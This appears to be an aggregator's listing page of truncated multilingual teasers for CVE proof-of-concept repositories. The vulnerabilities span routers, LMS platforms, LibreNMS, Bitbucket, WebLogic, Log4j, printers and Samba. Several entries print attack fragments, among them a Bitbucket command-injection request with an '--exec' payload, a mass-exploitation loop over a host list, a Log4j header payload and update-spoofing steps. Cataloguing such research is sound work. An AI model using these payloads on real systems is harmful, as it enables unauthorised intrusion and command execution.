CVE-2020-23589

CVE-2020-23589 OPTILINK E-PON "MODEL NO: OP-XT71000N" with "HARDWARE VERSION: V2.2"; & "FIRMWARE VERSION: OPV3.3.1-191028" "OPTILINK OP-XT71000N Hardware Version: V2.2, Firmware Version: OPV3.3.1-191028" に脆弱性が発見されました。これにより、認証されていないリモートの攻撃者がクロスサイトリクエストフォージェリ（CSRF）攻撃を実行し、" /mgmdevreboot.asp "...

CVE-2026-34160

CVE-2026-34160 — Chamilo LMS 中通过 PENS 插件（pens.php）实现未认证 SSRF 严重性 ：高（CVSS 7.5） CWE ：CWE-918（服务端请求伪造） 受影响版本 ：chamilo/chamilo-lms 2.x（提交 af6b7002 及更早版本） 安全公告 ：GHSA-g2xj-4cch-j276 NVD ：https://nvd.nist.gov/vuln/detail/CVE-2026-34160 摘要 PENS（包交换通知服务）插件端点 public/plugin/Pens/pens.php 无需认证即可访问，并接受用户控制的 U...

wordpress_DoS

WordPress 4.9.8 存在拒绝服务攻击漏洞。 附加信息 我们发现 WordPress 版本 4.9.8 存在拒绝服务 DoS 漏洞。未经身份验证的远程用户可以对易受攻击的页面执行一系列请求，导致服务器上的处理、交换和磁盘 I/O 增加。这种处理增加使得 Web 应用程序不可用。 https://127.0.0.1/wp-admin/install.php root@kitploit: 漏洞类型 拒绝服务 DoS 产品供应商 WordPress 研究人员 Guilherme Rubert - XLabs Security 受影响产品代码库 WordPress v. 4.9.8 参...

CVE-2026-26988-LibreNMS-SQLi

CVE-2026-26988 – LibreNMS 未认证 SQL 注入 PoC LibreNMS ajaxtable.php 中通过 IPv6 地址搜索参数实现的未认证 SQL 注入 。 受影响版本 ：LibreNMS ≤ 25.12.0 修复版本 ：LibreNMS ≥ 26.1（提交 15429580baba03ed1dd377bada1bde4b7a1175a1） CVSS v4.0 ：9.3 严重 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N CWE ：CWE-89（SQL 命令中特殊元素中和不当 – SQL 注入） 漏洞概述...

CVE-2022-36804-POC

CVE-2022-36804-POC 🕷️ Bitbucket CVE-2022-36804 認証なしリモートコマンド実行 悪用方法 公開可視リポジトリを見つける - example.com/repos?visibility=public /rest/api/latest/projects/project-path/archive?filename=kiE0h&at=kiE0h&path=kiE0h&prefix=ax%00--exec=%60id%60%00--remote=origin 大量悪用 for url in $cat hosts.txt | httpx...

CVE-2024-21006_PoC

CVE-2024-21006 PoC CVE-2024-21006 是一个影响 Oracle WebLogic Server 的严重远程代码执行 RCE 漏洞。该缺陷与 IIOP（Internet Inter-ORB 协议）和 JNDI（Java 命名和目录接口）协议的不安全使用有关，允许未经认证的远程攻击者通过恶意 JNDI 引用在受影响的服务器上执行任意代码。 部署实验室环境 搭建环境： root@kitploit: docker-compose up -d 要访问 Kali 的 Shell： root@kitploit: docker exec -it...

CVE-2020-23590

CVE-2020-23590 OPTILINK E-PON「モデル番号: OP-XT71000N」を搭載した「ハードウェアバージョン: V2.2」、および「ファームウェアバージョン: OPV3.3.1-191028」 脆弱性が発見されました: 「Optilink OP-XT71000N ハードウェアバージョン: V2.2、ファームウェアバージョン: OPV3.3.1-191028」において、認証されていないリモート攻撃者がクロスサイトリクエストフォージェリ（CSRF）攻撃を実行し、「wlwpa.asp」を介して「WLAN SSID」のパスワードを変更できる。 ターゲット /wlwpa.a...

CVE-2021-41822

CVE-2021-41822（水的一个） Canon printer unauthorized access vulnerability and denial of service vulnerability The attacker does not need an account or password to access the printer page and obtain information about printed files. And the printer can be turned off remotely. Create denial of service...

CVE-2023-49980

CVE-2023-49980 Sistema de Gestión de Resultados de Estudiantes 1.0 - Listado de Directorios Descripción : Best Student Result Management System 1.0 es vulnerable a Control de Acceso Roto. La vulnerabilidad de Listado de Directorios permite a cualquier atacante remoto ver los archivos sensibles de...

CVE-2021-45105

tejas-nagchandi/CVE-2021-45105 CVE-2021-45105 の再現 API root@kitploit: curl -I localhost:8080/currentDateTime -H 'Time-Zone: GMT' 出力: 攻撃 root@kitploit: curl -I localhost:8080/currentDateTime -H 'Time-Zone: $$::-$::-$$::-$' 出力: ログ: 参考文献: https://vulners.com/cve/CVE-2021-45105...

CVE-2024-29399

CVE-2024-29399 脆弱性の詳細 概要 Savane v3.13 以前では、アップロードされたファイルの検証が欠如しているため、権限昇格が可能になる可能性があります。インストール手順に従って設定された Web サーバーは、クロスサイトスクリプティング XSS に対して脆弱です。誤って設定された Web サーバーでは、これによりリモートコード実行 RCE が発生する可能性があります。 CWE 分類: CWE-434: 危険なタイプのファイルのアップロード制限の欠如 報告者: Ally Petitt 影響を受ける製品 : Savane 影響を受けるバージョン : 3.13 以前...

cve-2022-24644

CVE-2022-24644 ZZ Inc. KeyMouse 3.08 Windows 未認証更新リモートコード実行の脆弱性 使用方法: python3 cve-2022-24644poc.py 詳細は gerr.re のレポートを参照してください。 再現手順 1. KeyMouse Windows 3.08 をインストールします。 2. www.keymouse.com を攻撃者のIPアドレスに偽装します。 概念実証では、ターゲット上の c:\windows\system32\drivers\etc\hosts を編集するのが最も簡単です。 攻撃者は例えば以下のものを使用できます：...

CVE-2026-50787

CVE-2026-50787 — Consumo Descontrolado de Recursos en e-SIC Livre Resumen Existe una vulnerabilidad de consumo de recursos en el componente de generación de CAPTCHA de e-SIC Livre esiclivre. El endpoint vulnerable acepta parámetros controlados por el usuario que definen las dimensiones de la imag...

CVE-1999-1053-PoC

CVE-1999-1053 概念验证漏洞利用 背景 此概念验证（PoC）漏洞利用的灵感来源于 HKCERT CTF 2022 中名为 CVE 1999 的 CTF Web 挑战赛。（相关 Writeup 链接） 信息 描述： 在 Matt Wright Guestbook Matt Wright 的 guestbook.pl = v2.3.1 CGI 脚本存在一个可能允许任意命令执行的缺陷。该漏洞要求在 guestbook.pl 脚本中启用了 HTML 发布功能，并且 Web 服务器必须为 '.html'...

CVE-2024-1304---Badgermeter-moni-tool-Reflected-Cross-Site-Scripting-XSS

CVE-2024-1304 --- Badgermeter moni tool - 反射型跨站脚本攻击 XSS https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-badger-meters-monitool CVE-2024-1304: 6.3 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L | CWE-79. 软件链接 : https://www.s-can.at/en/product/monitool/ 版本 : 4.6.3 作者...

CVE-2026-16540-SimplyScheduleAppointments

CVE-2026-16540 — Simply Schedule Appointments 1.6.12.6 Divulgación no autenticada de datos de citas y eliminación masiva a través del endpoint purge...

CVE-2024-1302---Badgermeter-moni-tool-Sensitive-information-exposure

CVE-2024-1302 --- Badgermeter moni tool - Exposición de información sensible https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-badger-meters-monitool CVE-2024-1302: 7.3 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N | CWE-200. Enlace del software :...

kyocera-cve-2022-1026

kyocera-cve-2022-1026 Kyocera 打印机中存在一个未认证的数据提取漏洞，该漏洞允许恢复明文形式的通讯录和域绑定密码。 漏洞概述 早在 2021 年的一次渗透测试中，我在摆弄 Kyocera 用于远程管理打印机的胖客户端应用程序。在对该应用程序的流量进行代理时，我发现 Kyocera 在 9091/TCP 端口上的 SOAP API 在执行敏感操作时未正确处理身份验证。Kyocera MFP 可以配置用于公司域绑定的凭据、FTP 凭据、文件共享凭据等。在未认证的情况下，可以以明文形式检索 MFP 存储的所有凭据。 我的完整分析文章可在 Rapid7...

CVE-2026-63223

CVE-2026-63223 — CodeIgniter 4 文件上传 RCE 魔术字节绕过 → isimage/mimein → PHP Webshell → RCE 概述 CVE-2026-63223 是一个严重等级（CVSS 9.8）的未认证 远程代码执行漏洞，影响 CodeIgniter 4 （一个 PHP 全栈 Web 框架）4.7.4 之前 的版本。 该漏洞利用了 isimage 和 mimein 文件上传验证规则，这些规则仅检查 由内容推导出的 MIME 类型（魔术字节），而不验证客户端提供的文件扩展名。攻击者将图片魔术字节（GIF89a、JPEG、PNG 文件头）添加到...

smb-usermap

Samba "username map script" コマンド実行 このモジュールは、非デフォルトの "username map script" 設定オプションを使用している場合に、Samba バージョン 3.0.20 から 3.0.25rc3 におけるコマンド実行の脆弱性を悪用します。シェルのメタ文字を含むユーザー名を指定することで、攻撃者は任意のコマンドを実行できます。このオプションは認証前にユーザー名をマップするために使用されるため、この脆弱性を悪用するのに認証は必要ありません。 1. シェルコードを作成 root@kitploit: msfvenom -p...